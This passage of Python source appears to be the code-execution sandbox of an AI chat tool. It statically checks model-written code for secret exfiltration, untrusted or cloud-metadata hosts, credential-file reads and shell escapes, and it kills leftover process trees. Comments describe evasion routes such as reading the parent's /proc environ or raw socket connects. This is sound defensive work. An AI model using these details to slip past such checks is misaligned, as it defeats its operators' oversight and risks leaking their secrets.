return (
|
|
"HF upload cannot include os.environ / os.getenv / subprocess "
|
|
"env reads; secrets and tokens must not be exfiltrated"
|
|
)
|
|
if method_name == "create_commit":
|
|
for kw in node.keywords or []:
|
|
if kw.arg == "operations" and isinstance(kw.value, ast.List):
|
|
for elt in kw.value.elts:
|
|
if isinstance(elt, ast.Call):
|
|
inner = _hf_upload_violation(elt, "upload_file")
|
|
if inner:
|
|
return inner
|
|
return None
|
|
path_node: ast.AST | None = node.args[0] if node.args else None
|
|
for kw in node.keywords or []:
|
|
if kw.arg in ("path_or_fileobj", "folder_path"):
|
|
path_node = kw.value
|
|
break
|
|
if not _path_arg_is_sandbox_local(path_node):
|
|
return (
|
|
"HF upload path must be a sandbox-local relative-path literal "
|
|
"(no absolute paths, no '..' segments, no dynamic expressions)"
|
|
)
|
|
return None
|
|
|
|
class NetworkAndIoVisitor(ast.NodeVisitor):
|
|
def visit_Call(self, node):
|
|
parts: list[str] = []
|
|
cur = node.func
|
|
while isinstance(cur, ast.Attribute):
|
|
parts.insert(0, cur.attr)
|
|
cur = cur.value
|
|
if isinstance(cur, ast.Name):
|
|
parts.insert(0, cur.id)
|
|
fq = ".".join(parts) if parts else ""
|
|
|
|
hf_upload_name = _method_call_hf_upload_name(node)
|
|
if hf_upload_name is not None:
|
|
violation = _hf_upload_violation(node, hf_upload_name)
|
|
if violation is not None:
|
|
network_calls.append(
|
|
{
|
|
"type": "upload_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": f"Blocked: {violation}",
|
|
}
|
|
)
|
|
|
|
# Direct sock.connect((host, port)) bypasses the FQ-prefix branch.
|
|
if isinstance(node.func, ast.Attribute) and node.func.attr == "connect" and node.args:
|
|
a0 = node.args[0]
|
|
host_lit = None
|
|
if isinstance(a0, ast.Tuple) and a0.elts:
|
|
e0 = a0.elts[0]
|
|
if isinstance(e0, ast.Constant) and isinstance(e0.value, str):
|
|
host_lit = e0.value
|
|
elif isinstance(a0, ast.Constant) and isinstance(a0.value, str):
|
|
host_lit = a0.value
|
|
if host_lit:
|
|
if _is_metadata_host(host_lit):
|
|
network_calls.append(
|
|
{
|
|
"type": "metadata_host_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": "Blocked: cloud-metadata host",
|
|
}
|
|
)
|
|
elif not _is_trusted_host(host_lit):
|
|
network_calls.append(
|
|
{
|
|
"type": "untrusted_host_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": (
|
|
"Blocked: host not in sandbox allowlist; "
|
|
"use an allowed informational source"
|
|
),
|
|
}
|
|
)
|
|
|
|
if fq and any(fq.startswith(p) for p in _NETWORK_FQ_PREFIXES):
|
|
# 1) Upload-shape check (host-independent).
|
|
if _call_is_upload_shape(node, fq):
|
|
network_calls.append(
|
|
{
|
|
"type": "upload_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": ("Blocked: file upload disallowed in sandbox"),
|
|
}
|
|
)
|
|
|
|
# 2) Extract literal host (URL string or (host, port) tuple).
|
|
host_arg = None
|
|
url_arg = None
|
|
if node.args:
|
|
a0 = node.args[0]
|
|
if isinstance(a0, ast.Constant) and isinstance(a0.value, str):
|
|
url_arg = a0.value
|
|
elif isinstance(a0, ast.Tuple) and a0.elts:
|
|
e0 = a0.elts[0]
|
|
if isinstance(e0, ast.Constant) and isinstance(e0.value, str):
|
|
host_arg = e0.value
|
|
if url_arg and host_arg is None:
|
|
m = re.match(r"^\w+://([^/?#]+)", url_arg)
|
|
if m:
|
|
host_arg = m.group(1)
|
|
|
|
if host_arg:
|
|
if _is_metadata_host(host_arg):
|
|
network_calls.append(
|
|
{
|
|
"type": "metadata_host_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": "Blocked: cloud-metadata host",
|
|
}
|
|
)
|
|
elif not _is_trusted_host(host_arg):
|
|
network_calls.append(
|
|
{
|
|
"type": "untrusted_host_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": (
|
|
"Blocked: host not in sandbox allowlist; "
|
|
"use an allowed informational source"
|
|
),
|
|
}
|
|
)
|
|
|
|
is_open_call = (
|
|
(isinstance(node.func, ast.Name) and node.func.id == "open")
|
|
or fq in ("io.open", "pathlib.Path.open")
|
|
or fq.endswith(".open")
|
|
)
|
|
if is_open_call and node.args:
|
|
a0 = node.args[0]
|
|
path_lit = None
|
|
if isinstance(a0, ast.Constant) and isinstance(a0.value, str):
|
|
path_lit = a0.value
|
|
if path_lit:
|
|
flagged = False
|
|
if any(path_lit.startswith(p) for p in _SENSITIVE_FILE_PREFIXES):
|
|
flagged = True
|
|
elif _SENSITIVE_FILE_RE.match(path_lit):
|
|
flagged = True
|
|
if flagged:
|
|
sensitive_file_reads.append(
|
|
{
|
|
"type": "sensitive_file_read",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": (
|
|
f"open({path_lit!r}) targets a host identity / "
|
|
"credential file; sandboxed code may not read it"
|
|
),
|
|
}
|
|
)
|
|
self.generic_visit(node)
|
|
|
|
NetworkAndIoVisitor().visit(tree)
|
|
|
|
is_safe = (
|
|
len(signal_tampering) == 0
|
|
and len(exception_catching) == 0
|
|
and len(shell_escapes) == 0
|
|
and len(network_calls) == 0
|
|
and len(sensitive_file_reads) == 0
|
|
)
|
|
return is_safe, {
|
|
"signal_tampering": signal_tampering,
|
|
"exception_catching": exception_catching,
|
|
"shell_escapes": shell_escapes,
|
|
"network_calls": network_calls,
|
|
"sensitive_file_reads": sensitive_file_reads,
|
|
"warnings": warnings,
|
|
}
|
|
|
|
|
|
def _check_code_safety(code: str) -> str | None:
|
|
"""Validate code safety via static analysis.
|
|
|
|
Returns an error message string if the code is unsafe, or None if OK.
|
|
"""
|
|
safe, info = _check_signal_escape_patterns(code)
|
|
if not safe:
|
|
# Let SyntaxError from ast.parse through so the subprocess produces a
|
|
# normal Python traceback instead of a misleading "unsafe code" message.
|
|
if info.get("error"):
|
|
return None
|
|
|
|
reasons = [item.get("description", "") for item in info.get("signal_tampering", [])]
|
|
shell_reasons = [item.get("description", "") for item in info.get("shell_escapes", [])]
|
|
exception_reasons = [
|
|
item.get("description", "") for item in info.get("exception_catching", [])
|
|
]
|
|
network_reasons = [item.get("description", "") for item in info.get("network_calls", [])]
|
|
file_reasons = [
|
|
item.get("description", "") for item in info.get("sensitive_file_reads", [])
|
|
]
|
|
all_reasons = [
|
|
r
|
|
for r in reasons + shell_reasons + exception_reasons + network_reasons + file_reasons
|
|
if r
|
|
]
|
|
if all_reasons:
|
|
return (
|
|
f"Error: unsafe code detected ({'; '.join(all_reasons)}). "
|
|
f"Please remove unsafe patterns from your code."
|
|
)
|
|
|
|
return None
|
|
|
|
|
|
def _capture_process_group(proc):
|
|
"""Return the setsid process-group id, or ``None`` when unavailable.
|
|
|
|
Captured right after ``Popen`` so a later ``poll()`` / ``wait()`` that reaps
|
|
the leader cannot make ``os.getpgid(proc.pid)`` fail first. POSIX-only:
|
|
Windows has no process groups (and no ``os.getpgid``), so return ``None``
|
|
there and let the single-pid ``proc.kill()`` fallback handle cleanup.
|
|
"""
|
|
if os.name != "posix" or not hasattr(os, "getpgid"):
|
|
return None
|
|
try:
|
|
return os.getpgid(proc.pid)
|
|
except (AttributeError, ProcessLookupError, PermissionError, OSError):
|
|
return None
|
|
|
|
|
|
def _kill_process_tree(proc) -> None:
|
|
"""SIGKILL the setsid process group; fall back to single-pid kill."""
|
|
if proc.poll() is not None:
|
|
return
|
|
pgid = None
|
|
if hasattr(os, "getpgid"):
|
|
try:
|
|
pgid = os.getpgid(proc.pid)
|
|
except (ProcessLookupError, PermissionError, OSError):
|
|
pgid = None
|
|
if pgid is not None and hasattr(os, "killpg"):
|
|
try:
|
|
os.killpg(pgid, signal.SIGKILL)
|
|
return
|
|
except (ProcessLookupError, PermissionError, OSError):
|
|
pass
|
|
try:
|
|
proc.kill()
|
|
except (ProcessLookupError, PermissionError):
|
|
pass
|
|
|
|
|
|
def _killpg_captured(pgid) -> None:
|
|
"""SIGKILL a process group captured before its leader was waited on.
|
|
|
|
Once ``proc`` exits, ``os.getpgid(proc.pid)`` fails and ``_kill_process_tree``
|
|
short-circuits, so a stdout-holding grandchild that outlived the parent could
|
|
not otherwise be signaled. The pre-captured setsid group id still targets the
|
|
whole tree. No-op with no ``os.killpg`` (Windows) or nothing captured.
|
|
"""
|
|
if pgid is None or not hasattr(os, "killpg"):
|
|
return
|
|
try:
|
|
os.killpg(pgid, signal.SIGKILL)
|
|
except (ProcessLookupError, PermissionError, OSError):
|
|
pass
|
|
|
|
|
|
def _cancel_watcher(
|
|
proc,
|
|
cancel_event,
|
|
poll_interval = 0.2,
|
|
pgid = None,
|
|
):
|
|
"""Daemon thread that kills a process when cancel_event is set.
|
|
|
|
``pgid`` is the group id captured right after spawn; killing it directly
|
|
reaps a stdout-holding grandchild even when the watcher's own ``poll()``
|
|
already reaped the leader (which makes ``_kill_process_tree`` short-circuit).
|
|
"""
|
|
while proc.poll() is None:
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
_killpg_captured(pgid)
|
|
_kill_process_tree(proc)
|
|
return
|
|
cancel_event.wait(poll_interval) if cancel_event else None
|
|
|
|
|
|
def _truncate(text: str, limit: int = _MAX_OUTPUT_CHARS) -> str:
|
|
# Mode-neutral notice: this result serves both the streaming UI and
|
|
# non-streaming callers and must stay byte-identical with and without an
|
|
# output_callback (a regression-tested invariant), so it can't claim the
|
|
# user saw the full output.
|
|
if len(text) > limit:
|
|
return text[:limit] + (
|
|
f"\n\n... (truncated to {limit} chars for the model; {len(text)} chars "
|
|
"total. The full output is not retained here; any files the code wrote "
|
|
"persist in the working directory.)"
|
|
)
|
|
return text
|
|
|
|
|
|
# ChatGPT code-interpreter path conventions models write out of habit; none
|
|
# exist in the Unsloth sandbox, so a failure on one earns the retry hint.
|
|
_MISSING_PATH_PREFIXES = (
|
|
"/mnt/data",
|
|
"/mnt/outputs",
|
|
"/home/sandbox",
|
|
"/workspace",
|
|
"/tmp/outputs",
|
|
)
|
|
|
|
# Matches the quoted path in a Python OSError str and the bare path in a bash
|
|
# "No such file or directory" error; applied only to the error line.
|
|
_QUOTED_ABS_PATH_RE = re.compile(r"""['"](/[^'"\n]+)['"]""")
|
|
_BASH_ABS_PATH_RE = re.compile(r"(/[^\s:'\"]+):\s*No such file or directory")
|
|
|
|
# The sandbox CWD is a per-thread dir under ~/studio_sandbox; an absolute path
|
|
# under it is a genuine local miss, not a hallucinated out-of-sandbox write.
|
|
_SANDBOX_ROOT = os.path.join(os.path.expanduser("~"), "studio_sandbox")
|
|
|
|
|
|
def _missing_error_lines(output: str) -> list[str]:
|
|
"""The lines that actually name a missing file (a FileNotFoundError message
|
|
or a bash "No such file or directory"). Traceback frame lines such as
|
|
``File "/workspace/proj/script.py"`` are excluded, so an unrelated absolute
|
|
path mentioned elsewhere in the output is never treated as the failing one."""
|
|
return [
|
|
line
|
|
for line in output.splitlines()
|
|
if "No such file or directory" in line or "FileNotFoundError" in line
|
|
]
|
|
|
|
|
|
def _extract_missing_abs_path(output: str) -> str | None:
|
|
"""Pull the absolute path a FileNotFoundError / bash error named, if any."""
|
|
for line in reversed(_missing_error_lines(output)):
|
|
m = _QUOTED_ABS_PATH_RE.search(line)
|
|
if m:
|
|
return m.group(1)
|
|
m = _BASH_ABS_PATH_RE.search(line)
|
|
if m:
|
|
return m.group(1)
|
|
return None
|
|
|
|
|
|
def _is_outside_workdir(abs_path: str, workdir: str | None = None) -> bool:
|
|
"""True when ``abs_path`` is not the working directory or under it.
|
|
|
|
``workdir`` is the executor's actual working directory (defaults to the
|
|
sandbox root). Project-backed sessions run under a root OUTSIDE
|
|
``~/studio_sandbox`` (see ``_get_workdir``), so a legitimate miss inside a
|
|
project must be judged against the real workdir, not a static sandbox root,
|
|
or it is wrongly classed as an external habit path.
|
|
"""
|
|
try:
|
|
root = os.path.realpath(workdir or _SANDBOX_ROOT)
|
|
rp = os.path.realpath(abs_path)
|
|
except (OSError, ValueError):
|
|
return True
|
|
return rp != root and not rp.startswith(root + os.sep)
|
|
|
|
|
|
def _missing_path_hint(output: str, workdir: str | None = None) -> str:
|
|
"""Model-visible healing when an execution fails on an absolute path missing
|
|
in the sandbox (a code-interpreter habit path, or one invented from the CWD).
|
|
Detected on the full pre-truncation output; the hint echoes the failing path
|
|
so the model retries with the right relative name."""
|
|
error_lines = _missing_error_lines(output)
|
|
if not error_lines:
|
|
return ""
|
|
abs_path = _extract_missing_abs_path(output)
|
|
# A convention prefix is an out-of-sandbox signal only when the exact failing
|
|
# path could not be isolated; scoped to the failing-path error line(s) so a
|
|
# prefix mentioned elsewhere doesn't trigger a misleading hint.
|
|
convention = any(prefix in line for line in error_lines for prefix in _MISSING_PATH_PREFIXES)
|
|
if abs_path is not None:
|
|
# Judge the isolated path against the real workdir even when it matches a
|
|
# convention prefix, so a genuine miss inside a project rooted under such
|
|
# a prefix (e.g. /workspace/proj) is not steered out of its subdirectory.
|
|
if not _is_outside_workdir(abs_path, workdir):
|
|
return ""
|
|
elif not convention:
|
|
# Nothing marks this as an out-of-sandbox miss; stay silent.
|
|
return ""
|
|
if abs_path:
|
|
example = f"'{os.path.basename(abs_path)}', not '{abs_path}'"
|
|
else:
|
|
example = "'output.html', not '/mnt/data/output.html'"
|
|
return (
|
|
"\nHint: that absolute path does not exist in this sandbox. The current "
|
|
"working directory is writable and persists for this conversation; retry "
|
|
f"with a relative path (for example {example})."
|
|
)
|
|
|
|
|
|
def _drain_process_output(
|
|
proc,
|
|
timeout,
|
|
output_callback,
|
|
cancel_event = None,
|
|
*,
|
|
pgid = None,
|
|
) -> tuple[str, bool]:
|
|
"""``proc.communicate(timeout=...)`` equivalent that also streams each
|
|
stdout line to ``output_callback`` as it is produced.
|
|
|
|
Returns ``(output, timed_out)``. The joined output is identical to what
|
|
``communicate`` would return: the same TextIOWrapper decodes the stream,
|
|
so encoding, error replacement, and newline translation all match. On
|
|
timeout the process tree is killed (mirroring the non-streaming path).
|
|
With ``timeout=None`` the drain waits for EOF like ``communicate`` would,
|
|
stopping early only when ``cancel_event`` is set.
|
|
"""
|
|
chunks: list[str] = []
|
|
|
|
# Captured before waiting so a stdout-holding grandchild can still be killed
|
|
# after the leader is reaped (getpgid then fails). Callers pass it in from
|
|
# right after Popen; fall back to capturing here for direct callers.
|
|
if pgid is None:
|
|
pgid = _capture_process_group(proc)
|
|
|
|
def _reader() -> None:
|
|
try:
|
|
for line in iter(proc.stdout.readline, ""):
|
|
chunks.append(line)
|
|
if output_callback is not None:
|
|
try:
|
|
output_callback(line)
|
|
except Exception: # noqa: BLE001 - observer must never kill the tool
|
|
logger.debug("tool output_callback raised", exc_info = True)
|
|
except (ValueError, OSError):
|
|
pass # pipe closed during kill
|
|
|
|
reader = threading.Thread(target = _reader, daemon = True)
|
|
reader.start()
|
|
started_at = time.monotonic()
|
|
timed_out = False
|
|
try:
|
|
proc.wait(timeout = timeout)
|
|
except subprocess.TimeoutExpired:
|
|
timed_out = True
|
|
_kill_process_tree(proc)
|
|
# Also kill the pre-captured group in case the leader was reaped in the
|
|
# window before _kill_process_tree sampled its pgid, reaping a
|
|
# stdout-holding grandchild (matches the non-streaming timeout path).
|
|
_killpg_captured(pgid)
|
|
try:
|
|
proc.wait(timeout = 5)
|
|
except subprocess.TimeoutExpired:
|
|
pass
|
|
# A grandchild that inherited stdout can hold the pipe open past the main
|
|
# process's exit.
|
|
if not timed_out:
|
|
if timeout is not None:
|
|
# Wait out the remaining budget like communicate() would, polling
|
|
# cancel_event in slices (the cancel watcher is gone once the leader
|
|
# exits) so a chatty grandchild doesn't keep draining after a Stop.
|
|
# The normal path still reaches EOF on its own with the same bytes.
|
|
deadline = started_at + timeout
|
|
while reader.is_alive():
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
timed_out = True
|
|
_killpg_captured(pgid)
|
|
break
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
_killpg_captured(pgid)
|
|
break
|
|
reader.join(timeout = min(0.5, remaining))
|
|
else:
|
|
# Unlimited timeout: drain until the pipe closes (like
|
|
# communicate(timeout=None)), stopping early only on cancellation.
|
|
while reader.is_alive():
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
_killpg_captured(pgid)
|
|
break
|
|
reader.join(timeout = 0.5)
|
|
reader.join(timeout = 5)
|
|
return "".join(chunks), timed_out
|
|
|
|
|
|
def _python_exec(
|
|
code: str,
|
|
cancel_event = None,
|
|
timeout: int = _EXEC_TIMEOUT,
|
|
session_id: str | None = None,
|
|
disable_sandbox: bool = False,
|
|
output_callback = None,
|
|
) -> str:
|
|
"""Execute Python code in a subprocess sandbox.
|
|
|
|
disable_sandbox (Bypass Permissions): skip the safety analysis and rlimit
|
|
pre-exec, and use the host env minus secrets.
|
|
output_callback: optional callable(str) streamed each stdout line as it is
|
|
produced; the returned result is unchanged.
|
|
"""
|
|
if not code or not code.strip():
|
|
return "No code provided."
|
|
|
|
# Validate imports and code safety (skipped when the sandbox is disabled)
|
|
if not disable_sandbox:
|
|
error = _check_code_safety(code)
|
|
if error:
|
|
return error
|
|
# Stripping the child env is not enough: a same-UID child can read
|
|
# /proc/<getppid()>/environ to recover the unfiltered secrets, so close
|
|
# that read here too, not only in bypass mode. Best-effort: the child env
|
|
# is already scrubbed, so a system where prctl is denied still runs.
|
|
_harden_parent_against_proc_env_leak()
|
|
elif not _harden_parent_against_proc_env_leak():
|
|
# Close the /proc/<parent>/environ secret-recovery path first; if it
|
|
# cannot be applied, fail closed rather than leak the parent environ.
|
|
return (
|
|
"Execution error: could not harden the Unsloth process against "
|
|
"/proc environment reads; refusing bypass execution."
|
|
)
|
|
|
|
tmp_path = None
|
|
workdir = _get_workdir(session_id)
|
|
# Snapshot image mtimes to detect new and overwritten files.
|
|
_before: dict[str, int] = {}
|
|
if os.path.isdir(workdir):
|
|
for _name in os.listdir(workdir):
|
|
if os.path.splitext(_name)[1].lower() in _IMAGE_EXTS:
|
|
_p = os.path.join(workdir, _name)
|
|
if os.path.isfile(_p):
|
|
try:
|
|
_before[_name] = os.stat(_p).st_mtime_ns
|
|
except OSError:
|
|
pass
|
|
try:
|
|
fd, tmp_path = tempfile.mkstemp(suffix = ".py", prefix = "studio_exec_", dir = workdir)
|
|
# utf-8 so non-ASCII in model-written code survives the OS default codec
|
|
# (Windows cp1252 would otherwise raise UnicodeEncodeError).
|
|
with os.fdopen(fd, "w", encoding = "utf-8") as f:
|
|
f.write(code)
|
|
|
|
safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir)
|
|
if disable_sandbox:
|
|
# Match the sandboxed Python path without changing bypass shell I/O.
|
|
safe_env = dict(safe_env)
|
|
safe_env["PYTHONIOENCODING"] = "utf-8"
|
|
popen_kwargs = dict(
|
|
stdout = subprocess.PIPE,
|
|
stderr = subprocess.STDOUT,
|
|
text = True,
|
|
# Decode child output as utf-8 (it emits utf-8 via PYTHONIOENCODING);
|
|
# replace so non-ASCII output never crashes the read on Windows.
|
|
encoding = "utf-8",
|
|
errors = "replace",
|
|
cwd = workdir,
|
|
env = safe_env,
|
|
)
|
|
if sys.platform != "win32":
|
|
popen_kwargs["preexec_fn"] = _bypass_preexec if disable_sandbox else _sandbox_preexec
|
|
else:
|
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
|
|
|
# -u forces unbuffered child stdout so a bare print() streams live
|
|
# instead of sitting in the pipe's block buffer until exit. Applied
|
|
# unconditionally to stay byte-identical with and without streaming;
|
|
# unlike PYTHONUNBUFFERED=1 it never pollutes the child's os.environ.
|
|
proc = subprocess.Popen([sys.executable, "-u", tmp_path], **popen_kwargs)
|
|
|
|
# Capture the group before any watcher can reap the leader (see
|
|
# _capture_process_group); None on Windows.
|
|
pgid = _capture_process_group(proc)
|
|
|
|
if cancel_event is not None:
|
|
watcher = threading.Thread(
|
|
target = _cancel_watcher,
|
|
args = (proc, cancel_event, 0.2, pgid),
|
|
daemon = True,
|
|
)
|
|
watcher.start()
|
|
|
|
# Always drain via _drain_process_output (output_callback may be None):
|
|
# it kills the captured group on cancellation, reaping a grandchild that
|
|
# outlived the leader, and returns bytes identical to communicate() so
|
|
# the streaming vs non-streaming result stays byte-identical.
|
|
output, timed_out = _drain_process_output(
|
|
proc, timeout, output_callback, cancel_event, pgid = pgid
|
|
)
|
|
if timed_out:
|
|
return _truncate(f"Execution timed out after {timeout} seconds.")
|
|
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Execution cancelled."
|
|
|
|
result = output or ""
|
|
if proc.returncode != 0:
|
|
result = f"Exit code {proc.returncode}:\n{result}"
|
|
# Detect the missing-path pattern on the full output (truncation could
|
|
# hide the trailing traceback); append the hint after truncation. External
|
|
# paths are judged against the real workdir (project sessions live outside
|
|
# the default sandbox root).
|
|
hint = _missing_path_hint(result, workdir)
|
|
result = _truncate(result) if result.strip() else "(no output)"
|
|
result += hint
|
|
|
|
# Detect new/overwritten images and append sentinel for the frontend
|
|
if session_id and os.path.isdir(workdir):
|
|
new_images = []
|
|
for _name in os.listdir(workdir):
|
|
if os.path.splitext(_name)[1].lower() not in _IMAGE_EXTS:
|
|
continue
|
|
_p = os.path.join(workdir, _name)
|
|
if not os.path.isfile(_p):
|
|
continue
|
|
try:
|
|
_mtime = os.stat(_p).st_mtime_ns
|
|
except OSError:
|
|
continue
|
|
if _name not in _before or _mtime != _before[_name]:
|
|
new_images.append(_name)
|
|
if new_images:
|
|
import json as _json
|
|
result += f"\n__IMAGES__:{_json.dumps(sorted(new_images))}"
|
|
|
|
return result
|
|
|
|
except Exception as e:
|
|
return f"Execution error: {e}"
|
|
finally:
|
|
if tmp_path and os.path.exists(tmp_path):
|
|
try:
|
|
os.unlink(tmp_path)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def _bash_exec(
|
|
command: str,
|
|
cancel_event = None,
|
|
timeout: int = _EXEC_TIMEOUT,
|
|
session_id: str | None = None,
|
|
disable_sandbox: bool = False,
|
|
output_callback = None,
|
|
) -> str:
|
|
"""Execute a bash command in a subprocess sandbox.
|
|
|
|
disable_sandbox (Bypass Permissions): skip the command blocklist and rlimit
|
|
pre-exec, and use the host env minus secrets.
|
|
output_callback: optional callable(str) streamed each stdout line as it is
|
|
produced; the returned result is unchanged.
|
|
"""
|
|
if not command or not command.strip():
|
|
return "No command provided."
|
|
|
|
# Block dangerous commands (skipped when the sandbox is disabled)
|
|
if not disable_sandbox:
|
|
blocked = _find_blocked_commands(command)
|
|
if blocked:
|
|
return f"Blocked command(s) for safety: {', '.join(sorted(blocked))}"
|
|
# Stripping the child env is not enough: a same-UID child can read
|
|
# /proc/<getppid()>/environ to recover the unfiltered secrets, so close
|
|
# that read here too, not only in bypass mode. Best-effort: the child env
|
|
# is already scrubbed, so a system where prctl is denied still runs.
|
|
_harden_parent_against_proc_env_leak()
|
|
elif not _harden_parent_against_proc_env_leak():
|
|
# Close the /proc/<parent>/environ secret-recovery path first; if it
|
|
# cannot be applied, fail closed rather than leak the parent environ.
|
|
return (
|
|
"Execution error: could not harden the Unsloth process against "
|
|
"/proc environment reads; refusing bypass execution."
|
|
)
|
|
|
|
try:
|
|
workdir = _get_workdir(session_id)
|
|
safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir)
|
|
popen_kwargs = dict(
|
|
stdout = subprocess.PIPE,
|
|
stderr = subprocess.STDOUT,
|
|
text = True,
|
|
# Match _python_exec: decode utf-8 with "replace" so invalid output
|
|
# bytes never raise UnicodeDecodeError (which the streaming reader
|
|
# thread would swallow), keeping both paths byte-identical.
|
|
encoding = "utf-8",
|
|
errors = "replace",
|
|
cwd = workdir,
|
|
env = safe_env,
|
|
)
|
|
if sys.platform != "win32":
|
|
popen_kwargs["preexec_fn"] = _bypass_preexec if disable_sandbox else _sandbox_preexec
|
|
else:
|
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
|
|
|
proc = subprocess.Popen(_get_shell_cmd(command), **popen_kwargs)
|
|
|
|
# Capture the group before any watcher can poll/reap the leader (see
|
|
# _python_exec); None on Windows.
|
|
pgid = _capture_process_group(proc)
|
|
|
|
if cancel_event is not None:
|
|
watcher = threading.Thread(
|
|
target = _cancel_watcher,
|
|
args = (proc, cancel_event, 0.2, pgid),
|
|
daemon = True,
|
|
)
|
|
watcher.start()
|
|
|
|
# Always drain via _drain_process_output (see _python_exec): kills the
|
|
# captured group on cancellation and returns bytes identical to
|
|
# communicate(), keeping streaming vs non-streaming byte-identical.
|
|
output, timed_out = _drain_process_output(
|
|
proc, timeout, output_callback, cancel_event, pgid = pgid
|
|
)
|
|
if timed_out:
|
|
return _truncate(f"Execution timed out after {timeout} seconds.")
|
|
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Execution cancelled."
|
|
|
|
result = output or ""
|
|
if proc.returncode != 0:
|
|
result = f"Exit code {proc.returncode}:\n{result}"
|
|
# Same missing-path healing as _python_exec.
|
|
hint = _missing_path_hint(result, workdir)
|
|
result = _truncate(result) if result.strip() else "(no output)"
|
|
return result + hint
|
|
|
|
except Exception as e:
|
|
return f"Execution error: {e}"
|